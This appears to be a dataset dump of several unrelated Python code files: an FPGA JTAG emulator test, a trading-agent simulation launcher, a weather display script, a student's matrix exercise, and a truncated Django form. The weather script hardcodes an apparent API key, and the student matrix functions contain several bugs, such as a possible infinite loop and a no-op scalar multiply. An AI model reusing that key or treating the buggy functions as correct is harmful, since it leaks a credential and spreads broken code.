set_emu_dec_thr(val):\n ser.write(f'SET_EMU_DEC_THR {val}\\n'.encode('utf-8'))\n\n def set_sleep(val):\n ser.write(f'SET_SLEEP {val}\\n'.encode('utf-8'))\n\n def shift_ir(val, width):\n ser.write(f'SIR {val} {width}\\n'.encode('utf-8'))\n\n def shift_dr(val, width):\n ser.write(f'SDR {val} {width}\\n'.encode('utf-8'))\n return int(ser.readline().strip())\n\n def write_tc_reg(name, val):\n # specify address\n shift_ir(tc_cfg_addr, jtag_inst_width)\n shift_dr(get_reg_addr(name), tc_addr_width)\n\n # send data\n shift_ir(tc_cfg_data, jtag_inst_width)\n shift_dr(val, tc_bus_width)\n\n # specify \"WRITE\" operation\n shift_ir(tc_cfg_inst, jtag_inst_width)\n shift_dr(write, tc_op_width)\n\n def write_sc_reg(name, val):\n # specify address\n shift_ir(sc_cfg_addr, jtag_inst_width)\n shift_dr(get_reg_addr(name), sc_addr_width)\n\n # send data\n shift_ir(sc_cfg_data, jtag_inst_width)\n shift_dr(val, sc_bus_width)\n\n # specify \"WRITE\" operation\n shift_ir(sc_cfg_inst, jtag_inst_width)\n shift_dr(write, sc_op_width)\n\n def read_tc_reg(name):\n # specify address\n shift_ir(tc_cfg_addr, jtag_inst_width)\n shift_dr(get_reg_addr(name), tc_addr_width)\n\n # specify \"READ\" operation\n shift_ir(tc_cfg_inst, jtag_inst_width)\n shift_dr(read, tc_op_width)\n\n # get data\n shift_ir(tc_cfg_data, jtag_inst_width)\n return shift_dr(0, tc_bus_width)\n\n def read_sc_reg(name):\n # specify address\n shift_ir(sc_cfg_addr, jtag_inst_width)\n shift_dr(get_reg_addr(name), sc_addr_width)\n\n # specify \"READ\" operation\n shift_ir(sc_cfg_inst, jtag_inst_width)\n shift_dr(read, sc_op_width)\n\n # get data\n shift_ir(sc_cfg_data, jtag_inst_width)\n return shift_dr(0, sc_bus_width)\n\n def load_weight(\n d_idx, # clog2(ffe_length)\n w_idx, # 4 bits\n value, # 10 bits\n ):\n print(f'Loading weight d_idx={d_idx}, w_idx={w_idx} with value {value}')\n\n # determine number of bits for d_idx\n d_idx_bits = int(ceil(log2(ffe_length)))\n\n # write wme_ffe_inst\n wme_ffe_inst = 0\n wme_ffe_inst |= d_idx & ((1< 100000, 'Not enough bits detected'\n\n # finish test\n print('OK!')\n","sub_path":"tests/fpga_system_tests/emu/test_emu.py","file_name":"test_emu.py","file_ext":"py","file_size_in_byte":15104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"103013824","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# ------------------------------------------------------------------------------\n#\n# Copyright 2018-2019 Fetch.AI Limited\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# ------------------------------------------------------------------------------\n\n\"\"\"\nThis module implements a TAC simulation.\n\nIt spawn a controller agent that handles the competition and\nseveral baseline agents that will participate to the competition.\n\nIt requires an OEF node running and a Visdom server, if the visualization is desired.\n\nYou can also run it as a script. To check the available arguments:\n\n python3 -m tac.platform.simulation -h\n\n\"\"\"\n\nimport argparse\nimport datetime\nimport logging\nimport math\nimport multiprocessing\nimport pprint\nimport random\nimport time\nfrom typing import Optional, List\n\nimport dateutil\n\nfrom tac.agents.v1.base.strategy import RegisterAs, SearchFor\nfrom tac.agents.v1.examples.baseline import main as baseline_main\nfrom tac.platform.controller import TACParameters\nfrom tac.platform.controller import main as controller_main\n\nlogger = logging.getLogger(__name__)\n\n\nclass SimulationParams:\n \"\"\"Class to hold simulation parameters.\"\"\"\n\n def __init__(self,\n oef_addr: str = \"localhost\",\n oef_port: int = 10000,\n nb_baseline_agents: int = 5,\n register_as: RegisterAs = RegisterAs.BOTH,\n search_for: SearchFor = SearchFor.BOTH,\n services_interval: int = 5,\n pending_transaction_timeout: int = 120,\n verbose: bool = False,\n dashboard: bool = False,\n visdom_addr: str = \"localhost\",\n visdom_port: int = 8097,\n data_output_dir: Optional[str] = \"data\",\n experiment_id: int = None,\n seed: int = 42,\n tac_parameters: Optional[TACParameters] = None):\n \"\"\"\n Initialize a SimulationParams class.\n\n :param oef_addr: the IP address of the OEF.\n :param oef_port: the port of the OEF.\n :param nb_baseline_agents: the number of baseline agents to spawn.\n :param register_as: the registration policy the agents will follow.\n :param search_for: the search policy the agents will follow.\n :param services_interval: The amount of time (in seconds) the baseline agents wait until it updates services again.\n :param pending_transaction_timeout: The amount of time (in seconds) the baseline agents wait until the transaction confirmation.\n :param verbose: control the verbosity of the simulation.\n :param dashboard: enable the Visdom visualization.\n :param visdom_addr: the IP address of the Visdom server\n :param visdom_port: the port of the Visdom server.\n :param data_output_dir: the path to the output directory.\n :param experiment_id: the name of the experiment.\n :param seed: the random seed.\n :param tac_parameters: the parameters for the TAC.\n \"\"\"\n self.tac_parameters = tac_parameters if tac_parameters is not None else TACParameters()\n self.oef_addr = oef_addr\n self.oef_port = oef_port\n self.nb_baseline_agents = nb_baseline_agents\n self.register_as = register_as\n self.search_for = search_for\n self.services_interval = services_interval\n self.pending_transaction_timeout = pending_transaction_timeout\n self.verbose = verbose\n self.dashboard = dashboard\n self.visdom_addr = visdom_addr\n self.visdom_port = visdom_port\n self.data_output_dir = data_output_dir\n self.experiment_id = experiment_id\n self.seed = seed\n\n\ndef _make_id(agent_id: int, is_world_modeling: bool, nb_agents: int) -> str:\n \"\"\"\n Make the name for baseline agents from an integer identifier.\n\n E.g.:\n\n >>> _make_id(2, False, 10)\n 'tac_agent_2'\n >>> _make_id(2, False, 100)\n 'tac_agent_02'\n >>> _make_id(2, False, 101)\n 'tac_agent_002'\n\n :param agent_id: the agent id.\n :param is_world_modeling: the boolean indicated whether the baseline agent models the world around her or not.\n :param nb_agents: the overall number of agents.\n :return: the formatted name.\n :return: the string associated to the integer id.\n \"\"\"\n max_number_of_digits = math.ceil(math.log10(nb_agents))\n if is_world_modeling:\n string_format = \"tac_agent_{:0\" + str(max_number_of_digits) + \"}_wm\"\n else:\n string_format = \"tac_agent_{:0\" + str(max_number_of_digits) + \"}\"\n result = string_format.format(agent_id)\n return result\n\n\ndef spawn_controller_agent(params: SimulationParams):\n \"\"\"Spawn a controller agent.\"\"\"\n result = multiprocessing.Process(target=controller_main, kwargs=dict(\n name=\"tac_controller\",\n nb_agents=params.tac_parameters.min_nb_agents,\n nb_goods=params.tac_parameters.nb_goods,\n money_endowment=params.tac_parameters.money_endowment,\n base_good_endowment=params.tac_parameters.base_good_endowment,\n lower_bound_factor=params.tac_parameters.lower_bound_factor,\n upper_bound_factor=params.tac_parameters.upper_bound_factor,\n tx_fee=params.tac_parameters.tx_fee,\n oef_addr=params.oef_addr,\n oef_port=params.oef_port,\n start_time=params.tac_parameters.start_time,\n registration_timeout=params.tac_parameters.registration_timeout,\n inactivity_timeout=params.tac_parameters.inactivity_timeout,\n competition_timeout=params.tac_parameters.competition_timeout,\n whitelist_file=params.tac_parameters.whitelist,\n verbose=True,\n dashboard=params.dashboard,\n visdom_addr=params.visdom_addr,\n visdom_port=params.visdom_port,\n data_output_dir=params.data_output_dir,\n experiment_id=params.experiment_id,\n seed=params.seed,\n version=1,\n ))\n result.start()\n return result\n\n\ndef run_baseline_agent(**kwargs) -> None:\n \"\"\"Run a baseline agent.\"\"\"\n # give the time to the controller to connect to the OEF\n time.sleep(5.0)\n baseline_main(**kwargs)\n\n\ndef spawn_baseline_agents(params: SimulationParams) -> List[multiprocessing.Process]:\n \"\"\"Spawn baseline agents.\"\"\"\n fraction_world_modeling = 0.1\n nb_baseline_agents_world_modeling = round(params.nb_baseline_agents * fraction_world_modeling)\n\n threads = [multiprocessing.Process(target=run_baseline_agent, kwargs=dict(\n name=_make_id(i, i < nb_baseline_agents_world_modeling, params.nb_baseline_agents),\n oef_addr=params.oef_addr,\n oef_port=params.oef_port,\n register_as=params.register_as,\n search_for=params.search_for,\n is_world_modeling=i < nb_baseline_agents_world_modeling,\n services_interval=params.services_interval,\n pending_transaction_timeout=params.pending_transaction_timeout,\n dashboard=params.dashboard,\n visdom_addr=params.visdom_addr,\n visdom_port=params.visdom_port)) for i in range(params.nb_baseline_agents)]\n\n for t in threads:\n t.start()\n\n return threads\n\n\ndef parse_arguments():\n \"\"\"Arguments parsing.\"\"\"\n parser = argparse.ArgumentParser(\"tac_agent_spawner\")\n parser.add_argument(\"--nb-agents\", type=int, default=10, help=\"(minimum) number of TAC agent to wait for the competition.\")\n parser.add_argument(\"--nb-goods\", type=int, default=10, help=\"Number of TAC agent to run.\")\n parser.add_argument(\"--money-endowment\", type=int, default=200, help=\"Initial amount of money.\")\n parser.add_argument(\"--base-good-endowment\", default=2, type=int, help=\"The base amount of per good instances every agent receives.\")\n parser.add_argument(\"--lower-bound-factor\", default=0, type=int, help=\"The lower bound factor of a uniform distribution.\")\n parser.add_argument(\"--upper-bound-factor\", default=0, type=int, help=\"The upper bound factor of a uniform distribution.\")\n parser.add_argument(\"--tx-fee\", default=0.1, type=float, help=\"The transaction fee.\")\n parser.add_argument(\"--oef-addr\", default=\"127.0.0.1\", help=\"TCP/IP address of the OEF Agent\")\n parser.add_argument(\"--oef-port\", default=10000, help=\"TCP/IP port of the OEF Agent\")\n parser.add_argument(\"--nb-baseline-agents\", type=int, default=10, help=\"Number of baseline agent to run. Defaults to the number of agents of the competition.\")\n parser.add_argument(\"--start-time\", default=str(datetime.datetime.now() + datetime.timedelta(0, 10)), type=str, help=\"The start time for the competition (in UTC format).\")\n parser.add_argument(\"--registration-timeout\", default=10, type=int, help=\"The amount of time (in seconds) to wait for agents to register before attempting to start the competition.\")\n parser.add_argument(\"--inactivity-timeout\", default=60, type=int, help=\"The amount of time (in seconds) to wait during inactivity until the termination of the competition.\")\n parser.add_argument(\"--competition-timeout\", default=240, type=int, help=\"The amount of time (in seconds) to wait from the start of the competition until the termination of the competition.\")\n parser.add_argument(\"--services-interval\", default=5, type=int, help=\"The amount of time (in seconds) the baseline agents wait until it updates services again.\")\n parser.add_argument(\"--pending-transaction-timeout\", default=120, type=int, help=\"The amount of time (in seconds) the baseline agents wait until the transaction confirmation.\")\n parser.add_argument(\"--register-as\", choices=['seller', 'buyer', 'both'], default='both', help=\"The string indicates whether the baseline agent registers as seller, buyer or both on the oef.\")\n parser.add_argument(\"--search-for\", choices=['sellers', 'buyers', 'both'], default='both', help=\"The string indicates whether the baseline agent searches for sellers, buyers or both on the oef.\")\n parser.add_argument(\"--dashboard\", action=\"store_true\", help=\"Enable the agent dashboard.\")\n parser.add_argument(\"--data-output-dir\", default=\"data\", help=\"The output directory for the simulation data.\")\n parser.add_argument(\"--experiment-id\", default=None, help=\"The experiment ID.\")\n parser.add_argument(\"--visdom-addr\", default=\"localhost\", help=\"TCP/IP address of the Visdom server\")\n parser.add_argument(\"--visdom-port\", default=8097, help=\"TCP/IP port of the Visdom server\")\n parser.add_argument(\"--seed\", default=42, help=\"The random seed of the simulation.\")\n parser.add_argument(\"--whitelist-file\", nargs=\"?\", default=None, type=str, help=\"The file that contains the list of agent names to be whitelisted.\")\n\n arguments = parser.parse_args()\n logger.debug(\"Arguments: {}\".format(pprint.pformat(arguments.__dict__)))\n\n return arguments\n\n\ndef build_simulation_parameters(arguments: argparse.Namespace) -> SimulationParams:\n \"\"\"From argparse output, build an instance of SimulationParams.\"\"\"\n tac_parameters = TACParameters(\n min_nb_agents=arguments.nb_agents,\n money_endowment=arguments.money_endowment,\n nb_goods=arguments.nb_goods,\n tx_fee=arguments.tx_fee,\n base_good_endowment=arguments.base_good_endowment,\n lower_bound_factor=arguments.lower_bound_factor,\n upper_bound_factor=arguments.upper_bound_factor,\n start_time=dateutil.parser.parse(arguments.start_time),\n registration_timeout=arguments.registration_timeout,\n competition_timeout=arguments.competition_timeout,\n inactivity_timeout=arguments.inactivity_timeout,\n whitelist=arguments.whitelist_file\n )\n\n simulation_params = SimulationParams(\n oef_addr=arguments.oef_addr,\n oef_port=arguments.oef_port,\n nb_baseline_agents=arguments.nb_baseline_agents,\n dashboard=arguments.dashboard,\n visdom_addr=arguments.visdom_addr,\n visdom_port=arguments.visdom_port,\n data_output_dir=arguments.data_output_dir,\n experiment_id=arguments.experiment_id,\n seed=arguments.seed,\n tac_parameters=tac_parameters\n )\n\n return simulation_params\n\n\ndef run(params: SimulationParams):\n \"\"\"Run the simulation.\"\"\"\n random.seed(params.seed)\n\n controller_thread = None # type: Optional[multiprocessing.Process]\n baseline_threads = [] # type: List[multiprocessing.Process]\n\n try:\n\n controller_thread = spawn_controller_agent(params)\n baseline_threads = spawn_baseline_agents(params)\n controller_thread.join()\n\n except KeyboardInterrupt:\n logger.debug(\"Simulation interrupted...\")\n except Exception:\n logger.exception(\"Unexpected exception.\")\n exit(-1)\n finally:\n if controller_thread is not None:\n controller_thread.join(timeout=5)\n controller_thread.terminate()\n\n for t in baseline_threads:\n t.join(timeout=5)\n t.terminate()\n\n\nif __name__ == '__main__':\n arguments = parse_arguments()\n simulation_parameters = build_simulation_parameters(arguments)\n run(simulation_parameters)\n","sub_path":"tac/platform/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":13580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"204811217","text":"from graphics import *\nimport requests, json\nfrom time import strftime, localtime\nfrom pprint import pprint\n\ndef addText(x, y, text):\n\ttextField = Text(Point(x, y), text)\n\ttextField.setTextColor('white')\n\ttextField.setFace('FreeMono')\n\treturn textField\n\ndef addSpacesInt(n, s):\n\tn -= len(s)\n\tfor i in range(n):\n\t\ts += \" \"\n\treturn s\n\ndef add0(temp):\n\tif(temp[1] == ':'):\n\t\ttemp = '0' + temp\n\tif(temp[4] == 'C'):\n\t\ttemp = temp[0:4] + '0C'\n\treturn temp\n\ndef drawRect(x1, y1, x2, y2, color, win):\n\trect = Rectangle(Point(x1, y1), Point(x2, y2))\n\trect.setFill(color)\n\trect.draw(win)\n\ncityID = '3171829'\nuserID = '79067760b1aa2fc545335e0877de93a6'\nlink = 'http://api.openweathermap.org/data/2.5/forecast?id=' + cityID + '&units=metric&APPID=' + userID\n# link = 'http://api.openweathermap.org/data/2.5/forecast?id=3171829&units=metric&APPID=79067760b1aa2fc545335e0877de93a6'\nr = requests.get(link).json()\nforecast = []\nday = []\n# date = r['list'][0]['dt_txt'][8:10]\ndate = r['list'][7]['dt_txt'][8:10]\n\nfor i in range(len(r['list'])):\n\tif(r['list'][i]['dt_txt'][8:10] == date):\n\t\thum = 'Humidity: ' + str(r['list'][i]['main']['humidity']) + '%'\n\t\ttemp = 'Temperature: ' + add0(str(r['list'][i]['main']['temp']) + 'C')\n\t\tmintemp = add0(str(r['list'][i]['main']['temp_min']) + 'C')\n\t\tmaxtemp = add0(str(r['list'][i]['main']['temp_max']) + 'C')\n\t\tminmax = ' (' + maxtemp + ' - ' + mintemp + ')'\n\t\thour = [r['list'][i]['dt_txt'][11:16], r['list'][i]['weather'][0]['icon'], r['list'][i]['weather'][0]['description'], hum, temp, minmax]\n\t\tforecast.append(hour)\n\t# else:\n\t# \tbreak\n\nwin = GraphWin(\"SmartMirror\", 700, 700)\nwin.setBackground(\"black\")\nwin.yUp()\nbr = 18\noffset = 50\n\ns1 = r['city']['name'] + ' (' + r['city']['country'] + ')'\ntitle = addText(win.getWidth()/2, 670, s1)\ntitle.setStyle('bold')\ntitle.setSize(20)\ntitle.draw(win)\n\nmaxLen = 0\nfor i in range(len(forecast)):\n\tfor j in range(2, 6):\n\t\tif(len(str(forecast[i][j])) > maxLen):\n\t\t\tmaxLen = len(forecast[i][j])\n\nfor i in range(len(forecast)):\n\tfor j in range(2, 6):\n\t\tforecast[i][j] = addSpacesInt(maxLen, str(forecast[i][j]))\n\nstart = 637\nhight = 80\ndrawRect(126, start, 128, start-(len(forecast)*hight), 'white', win)\nfor i in range(len(forecast)):\n\t\tif(i < len(forecast)-1):\n\t\t\tdrawRect(0, start-(i*hight)-(hight-2), 702, start-(i*hight)-(hight), 'white', win)\n\t\ts = addText((offset/2)+40, (start-hight/2)-(i*hight), forecast[i][0])\n\t\ts.setSize(15)\n\t\ts.draw(win)\n\t\tImage(Point(offset+15+130, (start-hight/2+8)-(i*hight)), '/home/michele/GitProjects/SmartMirror/icons/xs/' + forecast[i][1] + '.png').draw(win)\n\t\ts = addText(offset+15+191, start-(i*hight)-(hight-13), forecast[i][2])\n\t\ts.setSize(13)\n\t\ts.draw(win)\n\t\taddText(offset+15+270, (start-hight/2)-(i*hight)+27, forecast[i][3]).draw(win)\n\t\taddText(offset+15+270, (start-hight/2)-(i*hight)+27-br, forecast[i][4]).draw(win)\n\t\taddText(offset+15+257, (start-hight/2)-(i*hight)+27-br-br, forecast[i][5]).draw(win)\n\nwin.getMouse()","sub_path":"demos/weatherForecastGraphic.py","file_name":"weatherForecastGraphic.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"649152445","text":"\"\"\"\n------------------------------------------------------------------------\n[program description]\n------------------------------------------------------------------------\nAuthor: Nicolas Mills\nID: 180856100\nEmail: mill6100@mylaurier.ca\n__updated__ = 2018-11-22\n------------------------------------------------------------------------\n\"\"\"\nfrom random import randint, uniform\n\ndef generate_matrix_num(rows, cols, low, high, value_type):\n \"\"\"\n -------------------------------------------------------\n Generates a 2D list of numbers of the given type, 'float' or 'int'.\n (To generate random float number use random.uniform and to\n generate random integer number use random.randint)\n Use: matrix = generate_matrix_num(rows, cols, low, high, value_type)\n -------------------------------------------------------\n Parameters:\n rows - number of rows in the list (int > 0)\n cols - number of columns (int > 0)\n low - low value of range (float)\n high - high value of range (float > low)\n value_type - type of values in the list, 'float' or 'int' (str)\n Returns:\n matrix - a 2D list of random numbers (2D list of float/int)\n -------------------------------------------------------\n \"\"\"\n matrix = [[0 for col in range(cols)] for row in range(rows)] # Create a new empty 2d array of the required size\n for row in range(rows):\n for col in range(cols):\n if value_type == \"float\":\n matrix[row][col] = uniform(low, high)\n else: # value_type == \"int\"\n matrix[row][col] = randint(low, high)\n \n return matrix\n\ndef generate_matrix_char(rows, cols):\n \"\"\"\n -------------------------------------------------------\n Generates a 2D list of random character values\n Use: matrix = generate_matrix_char(rows, cols)\n -------------------------------------------------------\n Parameters:\n rows - number of rows in the generated matrix (int > 0)\n cols - number of columns in the generated matrix (int > 0)\n Returns:\n matrix - a 2D list of random characters (2D list of str)\n -------------------------------------------------------\n \"\"\"\n matrix = [[0 for col in range(cols)] for row in range(rows)]\n chars = \"abcdefghijklmnopqrstuvwxyz\"\n for row in range(rows):\n for col in range(cols):\n random_num = randint(0, len(chars))\n matrix[row][col] = chars[random_num]\n return matrix\n\ndef matrix_distinct_values(rows, cols, low, high, value_type):\n \"\"\"\n -------------------------------------------------------\n Generates a 2D list of unique numbers of type float or int.\n Use: matrix = matrix_distinct_values(rows, cols, low, high, value_type)\n -------------------------------------------------------\n Parameters:\n rows - number of rows in the list (int > 0)\n cols - number of columns (int > 0)\n low - low value of range (float)\n high - high value of range (float > low)\n value_type - type of values in the list, 'float' or 'int' (str)\n Returns:\n matrix - a 2D list of unique values (list of int/float)\n -------------------------------------------------------\n \"\"\"\n matrix = [[0 for col in range(cols)] for row in range(rows)]\n nums_used = []\n random_num = 0\n for i in range(rows):\n for j in range(cols):\n if value_type == \"float\":\n while random_num in nums_used:\n random_num = uniform(low, high)\n nums_used.append(random_num)\n matrix[i][j] = random_num\n else: # value_type == \"int:\n while random_num in nums_used:\n random_num = randint(low, high)\n nums_used.append(random_num)\n matrix[i][j] = random_num\n return matrix\n\ndef print_matrix_num(matrix, value_type):\n \"\"\"\n -------------------------------------------------------\n Prints the contents of a 2D list in a formatted table.\n Prints float values with 2 decimal points and prints row and\n column headings.\n Use: print_matrix_num(matrix, 'float')\n Use: print_matrix_num(matrix, 'int')\n -------------------------------------------------------\n Parameters:\n matrix - a 2D list of values (2D list)\n value_type - type of values in the list, 'float' or 'int' (str)\n Returns:\n None.\n -------------------------------------------------------\n \"\"\"\n print(\"{:>4}\".format(\"\"),end='')\n for i in range(len(matrix[0])):\n print(\"{:>6}\".format(i), end='')\n \n for i in range(len(matrix)):\n print()\n print(\"{:>4d}\".format(i),end='')\n for j in range(len(matrix[i])):\n if value_type == \"float\":\n print(\"{:>6.2f}\".format(matrix[i][j]), end='')\n else:\n print(\"{:>6d}\".format(matrix[i][j]), end='')\n\ndef print_matrix_char(matrix):\n \"\"\"\n -------------------------------------------------------\n Prints the contents of a 2D list of strings in a formatted table.\n Prints row and column headings.\n Use: print_matrix_char(matrix)\n -------------------------------------------------------\n Parameters:\n matrix - a 2D list of strings (2D list)\n Returns:\n None.\n -------------------------------------------------------\n \"\"\"\n print(\"{:>4}\".format(\"\"),end='')\n for i in range(len(matrix[0])):\n print(\"{:>6}\".format(i), end='')\n \n for i in range(len(matrix)):\n print()\n print(\"{:>4d}\".format(i),end='')\n for j in range(len(matrix[i])):\n print(\"{:>6s}\".format(matrix[i][j]), end='')\n \ndef words_to_matrix(word_list):\n \"\"\"\n -------------------------------------------------------\n Generates a 2D list of character values from the given\n list of words. All words must be the same length.\n Use: matrix = words_to_matrix(word_list)\n -------------------------------------------------------\n Parameters:\n word_list - a list containing the words to be placed in\n the matrix (list of string)\n Returns:\n matrix - a 2D list of characters of the given words\n in word_list (2D list of string).\n -------------------------------------------------------\n \"\"\"\n matrix = [[\"\" for col in range(len(word_list[0]))] for row in range(len(word_list))]\n index1 = 0\n index2 = 0\n for word in word_list:\n for char in word:\n matrix[index1][index2] = char\n index2 += 1\n index1 += 1\n index2 = 0\n return matrix\n\ndef stats(matrix):\n \"\"\"\n -------------------------------------------------------\n Returns statistics on a 2D list.\n Use: smallest, largest, total, average = stats(matrix)\n -------------------------------------------------------\n Parameters:\n matrix - a 2D list of numbers (2D list of float/int)\n Returns:\n smallest - the smallest number in matrix (float/int)\n largest - the largest number in matrix (float/int)\n total - the total of the numbers in matrix (float/int)\n average - the average of numbers in matrix (float/int)\n -------------------------------------------------------\n \"\"\"\n smallest = matrix[0][0]\n largest = matrix[0][0]\n total = 0\n count = 0\n for row in matrix:\n for val in row:\n if val < smallest:\n smallest = val\n if val > largest:\n largest = val\n total += val\n count += 1\n \n average = total / count\n return smallest, largest, total, average\n\ndef find_position(matrix):\n \"\"\"\n -------------------------------------------------------\n Determines locations [row, column] of smallest and largest\n values in a 2D list.\n Use: s_loc, l_loc = find_position(matrix)\n -------------------------------------------------------\n Parameters:\n matrix - a 2D list of numbers (2D list)\n Returns:\n s_loc - a list of of the row and column location of\n the smallest value in matrix (list of int)\n l_loc - a list of of the row and column location of\n the largest value in matrix (list of int)\n -------------------------------------------------------\n \"\"\"\n smallest = matrix[0][0]\n largest = matrix[0][0]\n s_loc = []\n l_loc = []\n \n for i in range(len(matrix)):\n for j in range(len(matrix[i])):\n val = matrix[i][j]\n if val < smallest:\n smallest = val\n s_loc.insert(0, i)\n s_loc.insert(1, j)\n if val > largest:\n largest = val\n l_loc.insert(0, i)\n l_loc.insert(1, j)\n return s_loc, l_loc\n\ndef find_less(matrix, n):\n \"\"\"\n -------------------------------------------------------\n Finds the location [row, column] of the first value in matrix\n that is smaller than a target value, n. If there is no such\n number in matrix, it should return an empty list.\n -------------------------------------------------------\n Parameters:\n matrix - a 2D list of numbers (2D list)\n n - the target value (float)\n Returns:\n loc - a list of the row and column location of\n the the first value smaller than n in values,\n an empty list otherwise (list of int)\n -------------------------------------------------------\n \"\"\"\n loc = []\n \n sentinel = 0\n for i in range(len(matrix)):\n for j in range(len(matrix[i])):\n val = matrix[i][j]\n while sentinel == 0:\n if val < n:\n sentinel += 1\n loc.extend([i, j])\n return loc\n\ndef count_frequency(matrix, c):\n \"\"\"\n -------------------------------------------------------\n Count the number of appearances of the given character c\n in matrix.\n Use: count = count_frequency(matrix, c)\n -------------------------------------------------------\n Parameters:\n matrix - the matrix to search in it (2D list of str)\n c - character to search for it (str, len = 1)\n Returns:\n count - the number of appearances of c in the matrix (int)\n -------------------------------------------------------\n \"\"\"\n count = 0\n \n for row in matrix:\n for char in row:\n if char == c:\n count += 1\n \n return count\n \ndef find_word_horizontal(matrix, word):\n \"\"\"\n -------------------------------------------------------\n Look for word in each row of the given matrix of characters.\n Returns a list of indexes of all rows that are equal to word.\n Returns an empty list if no row is equal to word.\n Use: rows = find_word_horizontal(matrix, word)\n -------------------------------------------------------\n Parameters:\n matrix - the matrix of characters (2D list of str)\n word - the word to search for (str)\n Returns:\n rows - a list of row indexes (list of int)\n ------------------------------------------------------\n \"\"\"\n rows = []\n\n index = 0\n for row in matrix:\n row_word = \"\".join(row)\n if row_word == word:\n rows = index\n index += 1\n return rows\n\ndef find_word_vertical(matrix, word):\n \"\"\"\n -------------------------------------------------------\n Look for word in each column of the given matrix of characters.\n Returns a list of indexes of all column that are equal to word.\n Returns an empty list if no column is equal to word.\n Use: cols = find_word_vertical(matrix, word)\n -------------------------------------------------------\n Parameters:\n matrix - the matrix of characters (2D list of str)\n word - the word to search for (str)\n Returns:\n cols - a list of column indexes (list of int)\n ------------------------------------------------------\n \"\"\"\n cols = []\n index = 0\n for row in matrix:\n for col in row:\n pass\n return\n\ndef find_word_diagonal(matrix, word):\n \"\"\"\n -------------------------------------------------------\n Returns whether word is on the diagonal of a square matrix\n of characters.\n Use: found = find_word_diagonal(matrix, word)\n -------------------------------------------------------\n Parameters:\n matrix - a 2d list of characters (2d list of str)\n word - the word to compare against the diagonal of matrix (str)\n Returns:\n found - True if word is on the diagonal of matrix,\n False otherwise (boolean)\n ------------------------------------------------------\n \"\"\"\n diagonal = []\n found = False\n for i in range(len(matrix)):\n diagonal.append(matrix[i][i])\n \n diagonal_word = \"\".join(diagonal)\n if word == diagonal_word:\n found = True\n return found\n\ndef scalar_multiply(matrix, num):\n \"\"\"\n -------------------------------------------------------\n Update matrix by multiplying each element of matrix by num.\n Use: scalar_multiply(matrix, num)\n -------------------------------------------------------\n Parameters:\n matrix - the matrix to multiply (2D list of int/float)\n num - the number to multiply by (int/float)\n Returns:\n None\n ------------------------------------------------------\n \"\"\"\n for row in matrix:\n for val in row:\n val *= num\n return\n\ndef matrix_transpose(a):\n \"\"\"\n -------------------------------------------------------\n Transpose the contents of matrix a.\n Use: b = matrix_transpose(a):\n -------------------------------------------------------\n Parameters:\n a - a 2D list (2D list of ?)\n Returns:\n b - the transposed matrix (2D list of ?)\n ------------------------------------------------------\n \"\"\"\n # Tranposed matrix\n b = [[0 for row in range(len(a))] for col in range(len(a[0]))]\n \n for i in range(len(a[0])):\n for j in range(len(a)):\n b[i][j] = a[j][i]\n return b\n\ndef matrix_equal(matrix1, matrix2):\n \"\"\"\n -------------------------------------------------------\n Compares two matrices to see if they are equal - i.e. have the\n same contents in the same locations.\n Use: equal = matrix_equal(matrix1, matrix2)\n -------------------------------------------------------\n Parameters:\n matrix1 - the first matrix (2D list of ?)\n matrix2 - the second matrix (2D list of ?)\n Returns:\n equal - True if matrix1 and matrix2 are equal,\n False otherwise (boolean)\n ------------------------------------------------------\n \"\"\"\n equal = False\n \n for i in range(len(matrix1)):\n for j in range(len(matrix1[i])):\n val1 = matrix1[i][j]\n val2 = matrix2[i][j]\n if val1 == val2:\n equal = True\n else:\n equal = False\n break;\n return equal\n","sub_path":"workspace/CP104/mill6100_l10/src/functions - Copy.py","file_name":"functions - Copy.py","file_ext":"py","file_size_in_byte":15049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"632383827","text":"#!/usr/bin/env python\n# vim: set fileencoding=utf-8 :\n# Created by Andre Anjos \n# Qua 25 Mar 2009 18:07:26 CET \n\n\"\"\"Forms for users.\n\"\"\"\n\nfrom django.forms import ModelForm, fields, widgets\nfrom django.forms.util import ValidationError\nfrom django.core.files.images import get_image_dimensions, ImageFile\nfrom django.contrib.auth.models import User\nfrom accounts.models import UserProfile, max_avatar_bytes, max_avatar_width\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.translation import ugettext\nfrom django.contrib.auth.forms import UserCreationForm\nfrom captcha.fields import CaptchaField\nfrom django.contrib.admin.widgets import AdminDateWidget \n\nclass ReplaceableAvatarWidget(widgets.MultiWidget):\n def __init__(self, attrs=None):\n w = (widgets.CheckboxInput(attrs), widgets.FileInput(attrs))\n super(ReplaceableAvatarWidget, self).__init__(w, attrs)\n\n def decompress(self, value):\n \"\"\"We always set the checkbox to False and the filename to value.\"\"\"\n if isinstance(value, (tuple, list)):\n return value\n return False, value\n\n def render(self, name, value, attrs=None):\n retval = u''\n if isinstance(value, (tuple, list)): #showing what the user uploaded\n if value[1]:\n retval += u'%s [%s] (%d %s, %s)
%s' % (value[1].name, value[1].content_type, value[1].size, ugettext('bytes'), ugettext(u'temporary'), ugettext(u'delete?'))\n elif value: #showing for what is there\n retval += u'%s (%d %s, %dx%d)
